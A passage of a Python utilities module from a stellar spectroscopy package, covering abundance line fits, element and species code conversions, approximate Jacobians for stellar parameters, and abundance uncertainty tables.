tempfile.mkstemp(**kwargs) def random_string(N=10): return ''.join(choice(string.ascii_uppercase + string.digits) for _ in range(N)) def equilibrium_state(transitions, columns=("expot", "rew"), group_by="species", ycolumn="abundance", yerr_column=None): """ Perform linear fits to the abundances provided in the transitions table with respect to x-columns. :param transitions: A table of atomic transitions with measured equivalent widths and abundances. :param columns: [optional] The names of the columns to make fits against. :param group_by: [optional] The name of the column in `transitions` to calculate states. """ lines = {} transitions = transitions.group_by(group_by) for i, start_index in enumerate(transitions.groups.indices[:-1]): end_index = transitions.groups.indices[i + 1] # Do excitation potential first. group_lines = {} for x_column in columns: x = transitions[x_column][start_index:end_index] y = transitions["abundance"][start_index:end_index] if yerr_column is not None: try: yerr = transitions[yerr_column][start_index:end_index] except KeyError: logger.exception("Cannot find yerr column '{}':".format( yerr_column)) yerr = np.ones(len(y)) else: yerr = np.ones(len(y)) # Only use finite values. finite = np.isfinite(x * y * yerr) try: # fix for masked arrays finite = finite.filled(False) except: pass if not np.any(finite): #group_lines[x_column] = (np.nan, np.nan, np.nan, np.nan, 0) continue m, b, medy, stdy, stdm, N = fit_line(x, y, None) group_lines[x_column] = (m, b, medy, (stdy, stdm), N) # x, y, yerr = np.array(x[finite]), np.array(y[finite]), np.array(yerr[finite]) # # # Let's remove the covariance between m and b by making the mean of x = 0 # xbar = np.mean(x) # x = x - xbar # # y = mx+b = m(x-xbar) + (b+m*xbar), so m is unchanged but b is shifted. # ## A = np.vstack((np.ones_like(x), x)).T ## C = np.diag(yerr**2) ## try: ## cov = np.linalg.inv(np.dot(A.T, np.linalg.solve(C, A))) ## b, m = np.dot(cov, np.dot(A.T, np.linalg.solve(C, y))) ## ## except np.linalg.LinAlgError: ## #group_lines[x_column] \ ## # = (np.nan, np.nan, np.median(y), np.std(y), len(x)) ## None ## ## else: ## #group_lines[x_column] = (m, b, np.median(y), (np.std(y), np.sqrt(cov[1,1])), len(x)) ## group_lines[x_column] = (m, b+m*xbar, np.median(y), (np.std(y), np.sqrt(cov[1,1])), len(x)) # m, b, r, p, m_stderr = stats.linregress(x, y) # group_lines[x_column] = (m, b-m*xbar, np.median(y), (np.std(y), m_stderr), len(x)) identifier = transitions[group_by][start_index] if group_lines: lines[identifier] = group_lines return lines def fit_line(x, y, yerr=None): if yerr is not None: raise NotImplementedError("Does not fit with error bars yet") finite = np.isfinite(x) & np.isfinite(y) if finite.sum()==0: return np.nan, np.nan, np.nan, np.nan, np.nan, 0 x, y = x[finite], y[finite] xbar = np.mean(x) x = x - xbar m, b_bar, r, p, m_stderr = stats.linregress(x, y) b = b_bar - m*xbar return m, b, np.median(y), np.std(y), m_stderr, len(x) def spectral_model_conflicts(spectral_models, line_list): """ Identify abundance conflicts in a list of spectral models. :param spectral_models: A list of spectral models to check for conflicts. :param line_list: A table of energy transitions. :returns: A list containing tuples of spectral model indices where there is a conflict about which spectral model to use for the determination of stellar parameters and/or composition. """ line_list_hashes = line_list.compute_hashes() transition_hashes = {} for i, spectral_model in enumerate(spectral_models): for transition in spectral_model.transitions: transition_hash = line_list.hash(transition) transition_hashes.setdefault(transition_hash, []) transition_hashes[transition_hash].append(i) # Which of the transition_hashes appear more than once? conflicts = [] for transition_hash, indices in transition_hashes.iteritems(): if len(indices) < 2: continue # OK, what element is this transition? match = (line_list_hashes == transition_hash) element = line_list["element"][match][0].split()[0] # Of the spectral models that use this spectral hash, what are they # measuring? conflict_indices = [] for index in indices: if element not in spectral_models[index].metadata["elements"]: # This transition is not being measured in this spectral model. continue else: # This spectral model is modeling this transition. # Does it say this should be used for the determination of # stellar parameters or composition? if spectral_models[index].use_for_stellar_parameter_inference \ or spectral_models[index].use_for_stellar_composition_inference: conflict_indices.append(index) if len(conflict_indices) > 1: conflicts.append(conflict_indices) return conflicts # List the periodic table here so that we can use it outside of a single # function scope (e.g., 'element in utils.periodic_table') periodic_table = """H He Li Be B C N O F Ne Na Mg Al Si P S Cl Ar K Ca Sc Ti V Cr Mn Fe Co Ni Cu Zn Ga Ge As Se Br Kr Rb Sr Y Zr Nb Mo Tc Ru Rh Pd Ag Cd In Sn Sb Te I Xe Cs Ba Lu Hf Ta W Re Os Ir Pt Au Hg Tl Pb Bi Po At Rn Fr Ra Lr Rf""" lanthanoids = "La Ce Pr Nd Pm Sm Eu Gd Tb Dy Ho Er Tm Yb" actinoids = "Ac Th Pa U Np Pu Am Cm Bk Cf Es Fm Md No" periodic_table = periodic_table.replace(" Ba ", " Ba " + lanthanoids + " ") \ .replace(" Ra ", " Ra " + actinoids + " ").split() del actinoids, lanthanoids def hashed_id(): try: salt = getstatusoutput("git config --get user.name")[1] except: import uuid salt = uuid.uuid3(uuid.NAMESPACE_DNS, "") return sha(salt.encode("utf-8")).hexdigest() hashed_id = hashed_id() def approximate_stellar_jacobian(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations from the Sun """ logger.info("Updated approximation of the Jacobian") teff, vt, logg, feh = stellar_parameters[:4] # This is the black magic. full_jacobian = np.array([ [ 5.4393e-08*teff - 4.8623e-04, -7.2560e-02*vt + 1.2853e-01, 1.6258e-02*logg - 8.2654e-02, 1.0897e-02*feh - 2.3837e-02], [ 4.2613e-08*teff - 4.2039e-04, -4.3985e-01*vt + 8.0592e-02, -5.7948e-02*logg - 1.2402e-01, -1.1533e-01*feh - 9.2341e-02], [-3.2710e-08*teff + 2.8178e-04, 3.8185e-03*vt - 1.6601e-02, -1.2006e-02*logg - 3.5816e-03, -2.8592e-05*feh + 1.4257e-03], [-1.7822e-08*teff + 1.8250e-04, 3.5564e-02*vt - 1.1024e-01, -1.2114e-02*logg + 4.1779e-02, -1.8847e-02*feh - 1.0949e-01] ]) return full_jacobian.T def approximate_sun_hermes_jacobian(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations using the Sun and the HERMES atomic line list, after equivalent widths were carefully inspected. """ # logger.info("Updated approximation of the Jacobian") teff, vt, logg, feh = stellar_parameters[:4] # full_jacobian = np.array([ # [ 4.4973e-08*teff - 4.2747e-04, -1.2404e-03*vt + 2.4748e-02, 1.6481e-02*logg - 5.1979e-02, 1.0470e-02*feh - 8.5645e-03], # [-9.3371e-08*teff + 6.9953e-04, 5.0115e-02*vt - 3.0106e-01, -6.0800e-02*logg + 6.7056e-02, -4.1281e-02*feh - 6.2085e-02], # [-2.1326e-08*teff + 1.9121e-04, 1.0508e-03*vt + 1.1099e-03, -6.1479e-03*logg - 1.7401e-02, 3.4172e-03*feh + 3.7851e-03], # [-9.4547e-09*teff + 1.1280e-04, 1.0033e-02*vt - 3.6439e-02, -9.5015e-03*logg + 3.2700e-02, -1.7947e-02*feh - 1.0383e-01] # ]) # After culling abundance outliers,.. full_jacobian = np.array([ [ 4.5143e-08*teff - 4.3018e-04, -6.4264e-04*vt + 2.4581e-02, 1.7168e-02*logg - 5.3255e-02, 1.1205e-02*feh - 7.3342e-03], [-1.0055e-07*teff + 7.5583e-04, 5.0811e-02*vt - 3.1919e-01, -6.7963e-02*logg + 7.3189e-02, -4.1335e-02*feh - 6.0225e-02], [-1.9097e-08*teff + 1.8040e-04, -3.8736e-03*vt + 7.6987e-03, -6.4754e-03*logg - 2.0095e-02, -4.1837e-03*feh - 4.1084e-03], [-7.3958e-09*teff + 1.0175e-04, 6.5783e-03*vt - 3.6509e-02, -9.7692e-03*logg + 3.2322e-02, -1.7391e-02*feh - 1.0502e-01] ]) return full_jacobian.T def approximate_stellar_jacobian_2(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations from the Sun """ logger.info("Updated approximation of the Jacobian {}".format(stellar_parameters)) teff, logg, vt, feh = stellar_parameters[:4] #if np.isnan(teff): teff = 5000.; logger.info("jacobian: teff=nan->5000") #if np.isnan(logg): logg = 2.0; logger.info("jacobian: logg=nan->2.0") #if np.isnan(vt): vt = 1.75; logger.info("jacobian: vt=nan->1.75") #if np.isnan(feh): feh = -2.0; logger.info("jacobian: feh=nan->-2.0") # This is the black magic. full_jacobian = np.array([ [ 5.4393e-08*teff - 4.8623e-04, 1.6258e-02*logg - 8.2654e-02, -7.2560e-02*vt + 1.2853e-01, 1.0897e-02*feh - 2.3837e-02], [ 4.2613e-08*teff - 4.2039e-04, -5.7948e-02*logg - 1.2402e-01, -4.3985e-01*vt + 8.0592e-02, -1.1533e-01*feh - 9.2341e-02], [-3.2710e-08*teff + 2.8178e-04, -1.2006e-02*logg - 3.5816e-03, 3.8185e-03*vt - 1.6601e-02, -2.8592e-05*feh + 1.4257e-03], [-1.7822e-08*teff + 1.8250e-04, -1.2114e-02*logg + 4.1779e-02, 3.5564e-02*vt - 1.1024e-01, -1.8847e-02*feh - 1.0949e-01] ]) return full_jacobian.T def approximate_sun_hermes_jacobian_2(stellar_parameters, *args): """ Approximate the Jacobian of the stellar parameters and minimisation parameters, based on calculations using the Sun and the HERMES atomic line list, after equivalent widths were carefully inspected. """ # logger.info("Updated approximation of the Jacobian") teff, logg, vt, feh = stellar_parameters[:4] # full_jacobian = np.array([ # [ 4.4973e-08*teff - 4.2747e-04, -1.2404e-03*vt + 2.4748e-02, 1.6481e-02*logg - 5.1979e-02, 1.0470e-02*feh - 8.5645e-03], # [-9.3371e-08*teff + 6.9953e-04, 5.0115e-02*vt - 3.0106e-01, -6.0800e-02*logg + 6.7056e-02, -4.1281e-02*feh - 6.2085e-02], # [-2.1326e-08*teff + 1.9121e-04, 1.0508e-03*vt + 1.1099e-03, -6.1479e-03*logg - 1.7401e-02, 3.4172e-03*feh + 3.7851e-03], # [-9.4547e-09*teff + 1.1280e-04, 1.0033e-02*vt - 3.6439e-02, -9.5015e-03*logg + 3.2700e-02, -1.7947e-02*feh - 1.0383e-01] # ]) # After culling abundance outliers,.. full_jacobian = np.array([ [ 4.5143e-08*teff - 4.3018e-04, 1.7168e-02*logg - 5.3255e-02, -6.4264e-04*vt + 2.4581e-02, 1.1205e-02*feh - 7.3342e-03], [-1.0055e-07*teff + 7.5583e-04, -6.7963e-02*logg + 7.3189e-02, 5.0811e-02*vt - 3.1919e-01, -4.1335e-02*feh - 6.0225e-02], [-1.9097e-08*teff + 1.8040e-04, -6.4754e-03*logg - 2.0095e-02, -3.8736e-03*vt + 7.6987e-03, -4.1837e-03*feh - 4.1084e-03], [-7.3958e-09*teff + 1.0175e-04, -9.7692e-03*logg + 3.2322e-02, 6.5783e-03*vt - 3.6509e-02, -1.7391e-02*feh - 1.0502e-01] ]) return full_jacobian.T def element_to_species(element_repr): """ Converts a string representation of an element and its ionization state to a floating point """ if not isinstance(element_repr, string_types): raise TypeError("element must be represented by a string-type") if element_repr.count(" ") > 0: element, ionization = element_repr.split()[:2] else: element, ionization = element_repr, "I" if element not in periodic_table: try: return common_molecule_name2species[element] except KeyError: # Don't know what this element is return float(element_repr) ionization = max([0, ionization.upper().count("I") - 1]) /10. transition = periodic_table.index(element) + 1 + ionization return transition def element_to_atomic_number(element_repr): """ Converts a string representation of an element and its ionization state to a floating point. :param element_repr: A string representation of the element. Typical examples might be 'Fe', 'Ti I', 'si'. """ if not isinstance(element_repr, string_types): raise TypeError("element must be represented by a string-type") element = element_repr.title().strip().split()[0] try: index = periodic_table.index(element) except IndexError: raise ValueError("unrecognized element '{}'".format(element_repr)) except ValueError: try: return common_molecule_name2Z[element] except KeyError: raise ValueError("unrecognized element '{}'".format(element_repr)) return 1 + index def species_to_element(species): """ Converts a floating point representation of a species to a string representation of the element and its ionization state """ if not isinstance(species, (float, int)): raise TypeError("species must be represented by a floating point-type") if round(species,1) != species: # Then you have isotopes, but we will ignore that species = int(species*10)/10. if species + 1 >= len(periodic_table) or 1 > species: # Don"t know what this element is. It"s probably a molecule. try: elems = common_molecule_species2elems[species] return "-".join(elems) except KeyError: # No idea return str(species) atomic_number = int(species) element = periodic_table[int(species) - 1] ionization = int(round(10 * (species - int(species)) + 1)) # The special cases if element in ("C", "H", "He"): return element return "%s %s" % (element, "I" * ionization) def elems_isotopes_ion_to_species(elem1,elem2,isotope1,isotope2,ion): Z1 = int(element_to_species(elem1.strip())) if isotope1==0: isotope1='' else: isotope1 = str(isotope1).zfill(2) if elem2.strip()=='': # Atom mystr = "{}.{}{}".format(Z1,int(ion-1),isotope1) else: # Molecule #assert ion==1,ion Z2 = int(element_to_species(elem2.strip())) # If one isotope is specified but the other isn't, use a default mass # These masses are taken from MOOG for Z=1 to 95 amu = [1.008,4.003,6.941,9.012,10.81,12.01,14.01,16.00,19.00,20.18, 22.99,24.31,26.98,28.08,30.97,32.06,35.45,39.95,39.10,40.08, 44.96,47.90,50.94,52.00,54.94,55.85,58.93,58.71,63.55,65.37, 69.72,72.59,74.92,78.96,79.90,83.80,85.47,87.62,88.91,91.22, 92.91,95.94,98.91,101.1,102.9,106.4,107.9,112.4,114.8,118.7, 121.8,127.6,126.9,131.3,132.9,137.3,138.9,140.1,140.9,144.2, 145.0,150.4,152.0,157.3,158.9,162.5,164.9,167.3,168.9,173.0, 175.0,178.5,181.0,183.9,186.2,190.2,192.2,195.1,197.0,200.6, 204.4,207.2,209.0,210.0,210.0,222.0,223.0,226.0,227.0,232.0, 231.0,238.0,237.0,244.0,243.0] amu = [int(round(x,0)) for x in amu] if isotope1 == '': if isotope2 == 0: isotope2 = '' else: isotope1 = str(amu[Z1-1]).zfill(2) else: if isotope2 == 0: isotope2 = str(amu[Z2-1]).zfill(2) else: isotope2 = str(isotope2).zfill(2) # Swap if needed if Z1 < Z2: mystr = "{}{:02}.{}{}{}".format(Z1,Z2,int(ion-1),isotope1,isotope2) else: mystr = "{}{:02}.{}{}{}".format(Z2,Z1,int(ion-1),isotope2,isotope1) return float(mystr) def species_to_elems_isotopes_ion(species): element = species_to_element(species) if species >= 100: # Molecule Z1 = int(species/100) Z2 = int(species - Z1*100) elem1 = species_to_element(Z1).split()[0] elem2 = species_to_element(Z2).split()[0] # All molecules that we use are unionized ion = 1 if species == round(species,1): # No isotope specified isotope1 = 0 isotope2 = 0 else: #Both isotopes need to be specified! isotope1 = int(species*1000) - int(species*10)*100 isotope2 = int(species*100000) - int(species*1000)*100 if isotope1 == 0 or isotope2 == 0: raise ValueError("molecule species must have both isotopes specified: {} -> {} {}".format(species,isotope1,isotope2)) # Swap if needed else: # Element try: elem1,_ion = element.split() except ValueError as e: if element == 'C': elem1,_ion = 'C','I' elif element == 'H': elem1,_ion = 'H','I' elif element == 'He': elem1,_ion = 'He','I' else: print(element) raise e ion = len(_ion) assert _ion == 'I'*ion, "{}; {}".format(_ion,ion) if species == round(species,1): isotope1 = 0 elif species == round(species,4): isotope1 = int(species*10000) - int(species*10)*1000 elif species == round(species,3): isotope1 = int(species*1000) - int(species*10)*100 else: raise ValueError("problem determining isotope: {}".format(species)) elem2 = '' isotope2 = 0 return elem1,elem2,isotope1,isotope2,ion def get_common_letters(strlist): return "".join([x[0] for x in zip(*strlist) \ if reduce(lambda a,b:(a == b) and a or None,x)]) def find_common_start(strlist): strlist = strlist[:] prev = None while True: common = get_common_letters(strlist) if common == prev: break strlist.append(common) prev = common return get_common_letters(strlist) def extend_limits(values, fraction=0.10, tolerance=1e-2): """ Extend the values of a list by a fractional amount """ values = np.array(values) finite_indices = np.isfinite(values) if np.sum(finite_indices) == 0: raise ValueError("no finite values provided") lower_limit, upper_limit = np.min(values[finite_indices]), np.max(values[finite_indices]) ptp_value = np.ptp([lower_limit, upper_limit]) new_limits = lower_limit - fraction * ptp_value, ptp_value * fraction + upper_limit if np.abs(new_limits[0] - new_limits[1]) < tolerance: if np.abs(new_limits[0]) < tolerance: # Arbitrary limits, since we"ve just been passed zeros offset = 1 else: offset = np.abs(new_limits[0]) * fraction new_limits = new_limits[0] - offset, offset + new_limits[0] return np.array(new_limits) def get_version(): """ Retrieves the version of Spectroscopy Made Hard based on the git version """ if getstatusoutput("which git")[0] == 0: git_commands = ("git rev-parse --abbrev-ref HEAD", "git log --pretty=format:'%h' -n 1") return "0.1dev:" + ":".join([getstatusoutput(command)[1] for command in git_commands]) else: return "Unknown" def struct2array(x): """ Convert numpy structured array of simple type to normal numpy array """ Ncol = len(x.dtype) type = x.dtype[0].type assert np.all([x.dtype[i].type == type for i in range(Ncol)]) return x.view(type).reshape((-1,Ncol)) def _make_rhomat(rho_Tg=0.0, rho_Tv=0.0, rho_TM=0.0, rho_gv=0.0, rho_gM=0.0, rho_vM=0.0): rhomat = np.array([[1.0, rho_Tg, rho_Tv, rho_TM], [rho_Tg, 1.0, rho_gv, rho_gM], [rho_Tv, rho_gv, 1.0, rho_vM], [rho_TM, rho_gM, rho_vM, 1.0]]) return rhomat def process_session_uncertainties_lines(session, rhomat, minerr=0.001): """ Using Sergey's estimator """ from .spectral_models import ProfileFittingModel, SpectralSynthesisModel from .photospheres.abundances import asplund_2009 as solar_composition cols = ["index","wavelength","species","expot","loggf", "logeps","e_stat","eqw","e_eqw","fwhm", "e_Teff","e_logg","e_vt","e_MH","e_sys", "e_tot","weight"] data = OrderedDict(zip(cols, [[] for col in cols])) for i, model in enumerate(session.spectral_models): if not model.is_acceptable: continue if model.is_upper_limit: continue wavelength = model.wavelength species = np.ravel(model.species)[0] expot = model.expot loggf = model.loggf if np.isnan(expot) or np.isnan(loggf): print(i, species, model.expot, model.loggf) try: logeps = model.abundances[0] staterr = model.metadata["1_sigma_abundance_error"] if isinstance(model, SpectralSynthesisModel): (named_p_opt, cov, meta) = model.metadata["fitted_result"] if np.isfinite(cov[0,0]**0.5): staterr = max(staterr, cov[0,0]**0.5) assert ~np.isnan(staterr) # apply minimum staterr = np.sqrt(staterr**2 + minerr**2) sperrdict = model.metadata["systematic_stellar_parameter_abundance_error"] e_Teff = sperrdict["effective_temperature"] e_logg = sperrdict["surface_gravity"] e_vt = sperrdict["microturbulence"] e_MH = sperrdict["metallicity"] e_all = np.array([e_Teff, e_logg, e_vt, e_MH]) syserr_sq = e_all.T.dot(rhomat.dot(e_all)) syserr = np.sqrt(syserr_sq) fwhm = model.fwhm except Exception as e: print("ERROR!!!") print(i, species, model.wavelength) print("Exception:",e) logeps, staterr, e_Teff, e_logg, e_vt, e_MH, syserr = np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan if isinstance(model, ProfileFittingModel): eqw = model.equivalent_width or np.nan e_eqw = model.equivalent_width_uncertainty or np.nan else: eqw = -999 e_eqw = -999 #toterr = np.sqrt(staterr**2 + syserr**2) input_data = [i, wavelength, species, expot, loggf, logeps, staterr, eqw, e_eqw, fwhm, e_Teff, e_logg, e_vt, e_MH, syserr, np.nan, np.nan] for col, x in zip(cols, input_data): data[col].append(x) tab = astropy.table.Table(data) # Calculate systematic error and effective weights for each species tab["e_sys"] = np.nan for species in np.unique(tab["species"]): ix = np.where(tab["species"]==species)[0] t = tab[ix] # Estimate systematic error s s = s_old = 0. s_max = 2. delta = struct2array(t["e_Teff","e_logg","e_vt","e_MH"].as_array()) ex = t["e_stat"] for i in range(35): sigma_tilde = np.diag(s**2 + ex**2) + (delta.dot(rhomat.dot(delta.T))) sigma_tilde_inv = np.linalg.inv(sigma_tilde) w = np.sum(sigma_tilde_inv, axis=1) xhat = np.sum(w*t["logeps"])/np.sum(w) dx = t["logeps"] - xhat def func(s): return np.sum(dx**2 / (ex**2 + s**2)**2) - np.sum(1/(ex**2 + s**2)) if func(0) < func(s_max): s = 0 break s = optimize.brentq(func, 0, s_max, xtol=.001) if np.abs(s_old - s) < 0.01: break s_old = s else: print(species,"s did not converge!") print("Final in {} iter: {:.1f} {:.3f}".format(i+1, species, s)) tab["e_sys"][ix] = s tab["e_tot"][ix] = np.sqrt(s**2 + ex**2) sigma_tilde = np.diag(tab["e_tot"][ix]**2) + (delta.dot(rhomat.dot(delta.T))) sigma_tilde_inv = np.linalg.inv(sigma_tilde) w = np.sum(sigma_tilde_inv, axis=1) wb = np.sum(sigma_tilde_inv, axis=0) assert np.allclose(w,wb,rtol=1e-6), "Problem in species {:.1f}, Nline={}, e_sys={:.2f}".format(species, len(t), s) tab["weight"][ix] = w for col in tab.colnames: if col in ["index", "wavelength", "species", "loggf", "star"]: continue tab[col].format = ".3f" return tab def process_session_uncertainties_covariance(summary_tab, rhomat): ## Add in [X/Fe] # cov_XY = Cov(X,Y). Diagonal entries are Var(X). The matrix is symmetric. delta_XY = struct2array(np.array(summary_tab["e_Teff_w","e_logg_w","e_vt_w","e_MH_w"])) cov_XY = delta_XY.dot(rhomat.dot(delta_XY.T)) assert np.all(np.abs(cov_XY - cov_XY.T) < 0.01**2), np.max(np.abs(np.abs(cov_XY - cov_XY.T))) # Add statistical errors to the diagonal #var_X = cov_XY[np.diag_indices_from(cov_XY)] + summary_tab["stderr_w"]**2 var_X = summary_tab["e_XH"]**2 #cov_XY[np.diag_indices_from(cov_XY)] + return var_X, cov_XY def process_session_uncertainties_calc_xfe_errors(summary_tab, var_X, cov_XY): """ Computes the following Var([X/Fe]) = Var(X) + Var(Fe) - 2 Cov(X, Fe) Does *not* compute covariances, but you can do that this way: Cov([X/Fe], [Fe/H]) = Cov(X,Fe) - Cov(Fe, Fe) """ # [X/Fe] errors are the Fe1 and Fe2 parts of the covariance matrix try: ix1 = np.where(summary_tab["species"]==26.0)[0][0] except IndexError: print("No feh1: setting to nan") feh1 = np.nan exfe1 = np.nan else: feh1 = summary_tab["[X/H]"][ix1] var_fe1 = var_X[ix1] # Var(X/Fe1) = Var(X) + Var(Fe1) - 2*Cov(X,Fe1) exfe1 = np.sqrt(var_X + var_fe1 - 2*cov_XY[ix1,:]) try: ix2 = np.where(summary_tab["species"]==26.1)[0][0] except IndexError: print("No feh2: setting to feh1") feh2 = feh1 try: exfe2 = np.sqrt(var_X[ix1]) except UnboundLocalError: # no ix1 either exfe2 = np.nan else: feh2 = summary_tab["[X/H]"][ix2] var_fe2 = var_X[ix2] # Var(X/Fe2) = Var(X) + Var(Fe2) - 2*Cov(X,Fe2) exfe2 = np.sqrt(var_X + var_fe2 - 2*cov_XY[ix2,:]) return feh1, exfe1, feh2, exfe2 def process_session_uncertainties_abundancesummary(tab, rhomat): """ Take a table of lines and turn them into standard abundance table """ from .spectral_models import ProfileFittingModel, SpectralSynthesisModel from .photospheres.abundances import asplund_2009 as solar_composition unique_species = np.unique(tab["species"]) cols = ["species","elem","N", "logeps","sigma","stderr", "logeps_w","sigma_w","stderr_w", "e_Teff","e_logg","e_vt","e_MH","e_sys", "e_Teff_w","e_logg_w","e_vt_w","e_MH_w","e_sys_w", "[X/H]","e_XH","s_X"] data = OrderedDict(zip(cols, [[] for col in cols])) for species in unique_species: ttab = tab[tab["species"]==species] elem = species_to_element(species) N = len(ttab) logeps = np.mean(ttab["logeps"]) stdev = np.std(ttab["logeps"]) stderr = stdev/np.sqrt(N) w = ttab["weight"] finite = np.isfinite(w) if finite.sum() != N: print("WARNING: species {:.1f} N={} != finite weights {}".format(species, N, finite.sum())) x = ttab["logeps"] logeps_w = np.sum(w*x)/np.sum(w) stdev_w = np.sqrt(np.sum(w*(x-logeps_w)**2)/np.sum(w)) stderr_w = np.sqrt(1/np.sum(w)) sperrs = [] sperrs_w = [] for spcol in ["Teff","logg","vt","MH"]: x_new = x + ttab["e_"+spcol] e_sp = np.mean(x_new) - logeps sperrs.append(e_sp) #e_sp_w = np.sum(w*x_new)/np.sum(w) - logeps_w e_sp_w = np.sum(w*ttab["e_"+spcol])/np.sum(w) sperrs_w.append(e_sp_w) sperrs = np.array(sperrs) sperrs_w = np.array(sperrs_w) sperrtot = np.sqrt(sperrs.T.dot(rhomat.dot(sperrs))) sperrtot_w = np.sqrt(sperrs_w.T.dot(rhomat.dot(sperrs_w))) XH = logeps_w - solar_composition(species) #e_XH = np.sqrt(stderr_w**2 + sperrtot_w**2) e_XH = stderr_w s_X = ttab["e_sys"][0] assert np.allclose(ttab["e_sys"], s_X), s_X input_data = [species, elem, N, logeps, stdev, stderr, logeps_w, stdev_w, stderr_w, sperrs[0], sperrs[1], sperrs[2], sperrs[3], sperrtot, sperrs_w[0], sperrs_w[1], sperrs_w[2], sperrs_w[3], sperrtot_w, XH, e_XH, s_X ] assert len(cols) == len(input_data) for col, x in zip(cols, input_data): data[col].append(x) summary_tab = astropy.table.Table(data) ## Add in [X/Fe] var_X, cov_XY = process_session_uncertainties_covariance(summary_tab, rhomat) feh1, efe1, feh2, efe2 = process_session_uncertainties_calc_xfe_errors(summary_tab, var_X, cov_XY) if len(summary_tab["[X/H]"]) > 0: summary_tab["[X/Fe1]"] = summary_tab["[X/H]"] - feh1 summary_tab["e_XFe1"] = efe1 summary_tab["[X/Fe2]"] = summary_tab["[X/H]"] - feh2 summary_tab["e_XFe2"] = efe2 ixion = np.array([x - int(x) > .01 for x in summary_tab["species"]]) summary_tab["[X/Fe]"] = summary_tab["[X/Fe1]"] summary_tab["e_XFe"] = summary_tab["e_XFe1"] summary_tab["[X/Fe]"][ixion] = summary_tab["[X/Fe2]"][ixion] summary_tab["e_XFe"][ixion] = summary_tab["e_XFe2"][ixion] for col in summary_tab.colnames: if col=="N" or col=="species" or col=="elem": continue summary_tab[col].format = ".3f" else: for col in ["[X/Fe]","[X/Fe1]","[X/Fe2]", "e_XFe","e_XFe1","e_XFe2"]: summary_tab.add_column(astropy.table.Column(np.zeros(0),col)) #summary_tab[col] = np.nan #.add_column(col) return summary_tab def process_session_uncertainties_limits(session, tab, summary_tab, rhomat): from .spectral_models import ProfileFittingModel, SpectralSynthesisModel from .photospheres.abundances import asplund_2009 as solar_composition ## Add in upper limits to line data cols = ["index","wavelength","species","expot","loggf", "logeps","e_stat","eqw","e_eqw","fwhm", "e_Teff","e_logg","e_vt","e_MH","e_sys", "e_tot","weight"] var_X, cov_XY = process_session_uncertainties_covariance(summary_tab, rhomat) feh1, efe1, feh2, efe2 = process_session_uncertainties_calc_xfe_errors(summary_tab, var_X, cov_XY) assert len(cols)==len(tab.colnames) data = OrderedDict(zip(cols, [[] for col in cols])) for i, model in enumerate(session.spectral_models): if not model.is_upper_limit: continue if not model.is_acceptable: continue wavelength = model.wavelength species = np.ravel(model.species)[0] expot = model.expot or np.nan loggf = model.loggf or np.nan try: logeps = model.abundances[0] except: logeps = np.nan input_data = [i, wavelength, species, expot, loggf, logeps, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan] for col, x in zip(cols, input_data): data[col].append(x) tab_ul = astropy.table.Table(data) tab_ul["logeps"].format = ".3f" tab = astropy.table.vstack([tab, tab_ul]) ## Add in upper limits to summary table ul_species = np.unique(tab_ul["species"]) cols = ["species","elem","N", "logeps","sigma","stderr", "logeps_w","sigma_w","stderr_w", "e_Teff","e_logg","e_vt","e_MH","e_sys", "e_Teff_w","e_logg_w","e_vt_w","e_MH_w","e_sys_w", "[X/H]","e_XH","s_X"] + ["[X/Fe1]","e_XFe1","[X/Fe2]","e_XFe2","[X/Fe]","e_XFe"] assert len(cols)==len(summary_tab.colnames) data = OrderedDict(zip(cols, [[] for col in cols])) for species in ul_species: if species in summary_tab["species"]: continue ttab_ul = tab_ul[tab_ul["species"]==species] elem = species_to_element(species) N = len(ttab_ul) limit_logeps = np.min(ttab_ul["logeps"]) limit_XH = limit_logeps - solar_composition(species) limit_XFe1 = limit_XH - feh1 limit_XFe2 = limit_XH - feh2 limit_XFe = limit_XFe2 if (species - int(species) > .01) else limit_XFe1 input_data = [species, elem, N, limit_logeps, np.nan, np.nan, limit_logeps, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, limit_XH, np.nan, np.nan, limit_XFe1, np.nan, limit_XFe2, np.nan, limit_XFe, np.nan ] for col, x in zip(cols, input_data): data[col].append(x) summary_tab_ul = astropy.table.Table(data) if len(summary_tab_ul) > 0: if len(summary_tab) > 0: summary_tab = astropy.table.vstack([summary_tab, summary_tab_ul]) else: summary_tab = summary_tab_ul return tab, summary_tab def process_session_uncertainties(session, rho_Tg=0.0, rho_Tv=0.0, rho_TM=0.0, rho_gv=0.0, rho_gM=0.0, rho_vM=0.0): """ After you have run session.compute_all_abundance_uncertainties(), this pulls out a big array of line data and computes the final abundance table and errors By default assumes no correlations in stellar parameters. If you specify rho_XY it will include that correlated error. (X,Y) in [T, g, v, M] """ ## Correlation matrix. This is multiplied by the errors to get the covariance matrix. # rho order = [T, g, v, M] rhomat = _make_rhomat(rho_Tg, rho_Tv, rho_TM, rho_gv, rho_gM, rho_vM) ## Make line measurement table (no upper limits yet) tab = process_session_uncertainties_lines(session, rhomat) ## Summarize measurements summary_tab = process_session_uncertainties_abundancesummary(tab, rhomat) ## Add upper limits tab, summary_tab = process_session_uncertainties_limits(session, tab, summary_tab, rhomat) return tab, summary_tab def get_synth_eqw(model, window=1.0, wavelength=None, get_spec=False): """ Calculate the equivalent width associated with the synthetic line. This is done by synthesizing the line in absence of any other elements, then integrating the synthetic spectrum in a window around the central wavelength. The user can specify the size of the window (default +/-1A) and the central wavelength (default None -> model.wavelength) """ from .spectral_models import ProfileFittingModel, SpectralSynthesisModel assert isinstance(model, SpectralSynthesisModel) assert len(model.elements)==1, model.elements abundances = model.metadata["rt_abundances"].copy() for key in abundances: if key != model.elements[0]: abundances[key] = -9.0 abundances[model.elements[0]] = model.metadata["fitted_result"][0].values()[0] print(abundances) synth_dispersion, intensities, meta = model.session.rt.synthesize( model.session.stellar_photosphere, model.transitions, abundances, isotopes=model.session.metadata["isotopes"], twd=model.session.twd)[0] if wavelength is None: wavelength = model.wavelength ii = (synth_dispersion > wavelength - window) & (synth_dispersion < wavelength + window) # integrate with the trapezoid rule, get milliangstroms eqw = 1000.*integrate.trapz(1.0-intensities[ii], synth_dispersion[ii]) # integrate everything with the 